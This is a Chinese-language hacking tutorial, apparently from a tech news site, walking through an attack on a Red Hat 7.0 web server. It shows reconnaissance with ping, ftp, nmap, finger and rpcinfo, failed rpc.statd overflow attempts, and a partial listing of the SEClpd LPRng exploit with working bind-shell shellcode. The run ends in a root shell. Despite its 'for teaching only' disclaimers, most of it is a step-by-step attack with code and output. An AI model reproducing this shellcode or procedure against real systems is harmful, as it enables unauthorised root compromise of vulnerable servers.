Linux就這樣被黑客入侵
此文的目的不在于教人入侵,而是為了提高自身的技術(shù)和加強網(wǎng)絡(luò)管理員的安全防范意識。僅此而已!粗心大意的網(wǎng)絡(luò)管理員應(yīng)該明白:由于你們一個小小的操作失誤可能會導(dǎo)致整個網(wǎng)絡(luò)全面淪陷!本文主要是圍繞LPD:網(wǎng)絡(luò)打印服務(wù)的攻擊而進行的。
首先確定目標(biāo),假設(shè)是:www.XXX.com
先讓俺看看是不是連得上:
- 以下是引用片段:
- C:\ping www.XXX.com
- Pinging www.XXX.com[202.106.184.200] with 32 bytes of data:
- Reply from 202.106.184.200: bytes=32 time=541ms TTL=244
- Reply from 202.106.184.200: bytes=32 time=620ms TTL=244
- Reply from 202.106.184.200: bytes=32 time=651ms TTL=244
- Reply from 202.106.184.200: bytes=32 time=511ms TTL=244
- Ping statistics for 202.106.184.200:
- Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
- Approximate round trip times in milli-seconds:
- Minimum = 511ms, Maximum = 651ms, Average = 580ms
- 嘻嘻—不但連得上,速度還不錯……
- 先telnet看看banner:
- C:\>telnet www.XXX.com
遺失對主機的連接。
再試試ftp,
- 以下是引用片段:
- C:\>ftp www.XXX.com
- Connected to www.fbi.gov.tw.
- 220 XXX-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.
- User (www.XXX.com:(none)):
- 以下是引用片段:
- C:\>telnet xxx.xxx.xxx.xxx
- Red Hat Linux release 7.0 (Guinness)
- Kernel 2.2.16-22smp on an i686
- login: fetdog
- Password:
- bash-2.04$
拿nmap掃描器,看看其中的奧妙~~~
- 以下是引用片段:
- bash-2.04$nmap -sT -O www.XXX.com
- Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )
- WARNING! The following files exist and are readable: /usr/local/sha
- -services and ./nmap-services. I am choosing /usr/local/share/nmap/
- s for security reasons. set NMAPDIR=. to give priority to files in
- irectory
- Interesting ports on (www.XXX.com):
- (The 1520 ports scanned but not shown below are in state: closed)
- Port State Service
- 25/tcp open smtp
- 79/tcp open finger
- 80/tcp open http
- 111/tcp open sunrpc
- 113/tcp open auth
- 443/tcp open https
- 513/tcp open login
- 514/tcp open shell
- 515/tcp open printer
- 587/tcp open submission
- 1024/tcp open kdm
- TCP Sequence Prediction: Class=random positive increments
- Difficulty=3247917 (Good luck!)
- Remote operating system guess: Linux 2.1.122 - 2.2.16
- Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds
打開的端口還挺多,這意味著入侵的可能性增加。79/tcp open finger ,先看看這個,不過linux沒有finger用戶列表這個漏洞。
#p#
- 以下是引用片段:
- bash-2.04$finger @www.XXX.com
- [www.XXX.com]
- No one logged on.
再看看111/tcp open sunrpc 。近來rpc漏洞風(fēng)行,不知道RH7這個東東會不會有?先看看再說!
- 以下是引用片段:
- bash-2.04$rpcinfo -p www.XXX.com
- program vers proto port service
- 100000 2 tcp 111 rpcbind
- 100000 2 udp 111 rpcbind
- 100021 1 udp 1024 nlockmgr
- 100021 3 udp 1024 nlockmgr
- 100024 1 udp 1025 status
- 100024 1 tcp 1024 status
看來有rpc.statd服務(wù)。來看看能不能遠(yuǎn)程溢出拿個rootshell。
- 以下是引用片段:
- bash-2.04$./statdx -h
- statdx by ron1n
- Usage: stat [-t] [-p port] [-a addr] [-l len]
- [-o offset] [-w num] [-s secs] [-d type]
- -t attack a tcp dispatcher [udp]
- -p rpc.statd serves requests on [query]
- -a the stack address of the buffer is
- -l the length of the buffer is [1024]
- -o the offset to return to is [600]
- -w the number of dwords to wipe is [9]
- -s set timeout in seconds to [5]
- -d use a hardcoded
- Available types:
- 0 Redhat 6.2 (nfs-utils-0.1.6-2)
- 1 Redhat 6.1 (knfsd-1.4.7-7)
- 2 Redhat 6.0 (knfsd-1.2.2-4)
- 看來并不支持RH7。還是繼續(xù)嘗試,把0-2全部試試看再說!start……
- bash-2.04$stat -d 0 www.XXX.com
- buffer: 0xbffff314 length: 999 (+str/+nul)
- target: 0xbffff718 new: 0xbffff56c (offset: 600)
- wiping 9 dwords
- Failed - statd returned res_stat: (failure) state: 21
- 受挫,再試……
- bash-2.04$stat -d 1 www.XXX.com
- buffer: 0xbffff314 length: 999 (+str/+nul)
- target: 0xbffff718 new: 0xbffff56c (offset: 600)
- wiping 9 dwords
- Failed - statd returned res_stat: (failure) state: 21
一樣``繼續(xù)
#p#
- 以下是引用片段:
- bash-2.04$stat -d 1 www.XXX.com
- buffer: 0xbffff314 length: 999 (+str/+nul)
- target: 0xbffff718 new: 0xbffff56c (offset: 600)
- wiping 9 dwords
- Failed - statd returned res_stat: (failure) state: 21
rpc.statd行不通,想想RH7應(yīng)該有個遠(yuǎn)程溢出,好像是lp服務(wù)造成的?!皊eclpd.c”應(yīng)該是這個東東了。
—————以下代碼僅供教學(xué)使用,決不能用來進行惡意攻擊—————
- 以下是引用片段:
- /*
- * Welcome to http://hlc.cnroot.com/
- * Run: ./SEClpd victim brute -t type
- * Try first ./SEClpd victim -t 0 then try the brute.
- */
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #define ADDRESS_BUFFER_SIZE 32+4
- #define APPEND_BUFFER_SIZE 52
- #define FORMAT_LENGTH 512-8
- #define NOPCOUNT 200
- #define SHELLCODE_COUNT 1030
- #define DELAY 50000 /* usecs */
- #define OFFSET_LIMIT 5000
- char shellcode[] =
- "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
- "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
- "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
- "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
- "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
- "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
- "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
- "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
- "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
brute暴力破解。等上5-8分鐘左右,結(jié)果出來了。
- 以下是引用片段:
- - [+] shell located on www.XXX.com
- - [+] Enter Commands at will
- Linux XXX.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown
- uid=0(root) gid=7(lp)
uid=0(root權(quán)限),現(xiàn)在可以近一步入侵!但不要做壞事!
看了上文我們知道黑客主要是圍繞LPD:網(wǎng)絡(luò)打印服務(wù)的攻擊而進行的。再提醒一句本文目的不在于教你如何入侵linux,而是希望以后大家加強安全,有一定的網(wǎng)絡(luò)安全防范意識。
【編輯推薦】
- .Net程序員以最簡單方式學(xué)習(xí)Linux
- 安裝linux系統(tǒng)可以用的5種方法
- 外媒評選過去25年10大黑客攻擊事件
- 2011年10大安全威脅 國家資助的黑客攻擊占首位
- 電影中5個最荒謬的黑客入侵場景
- 入侵檢測蜜罐簡化網(wǎng)絡(luò)安全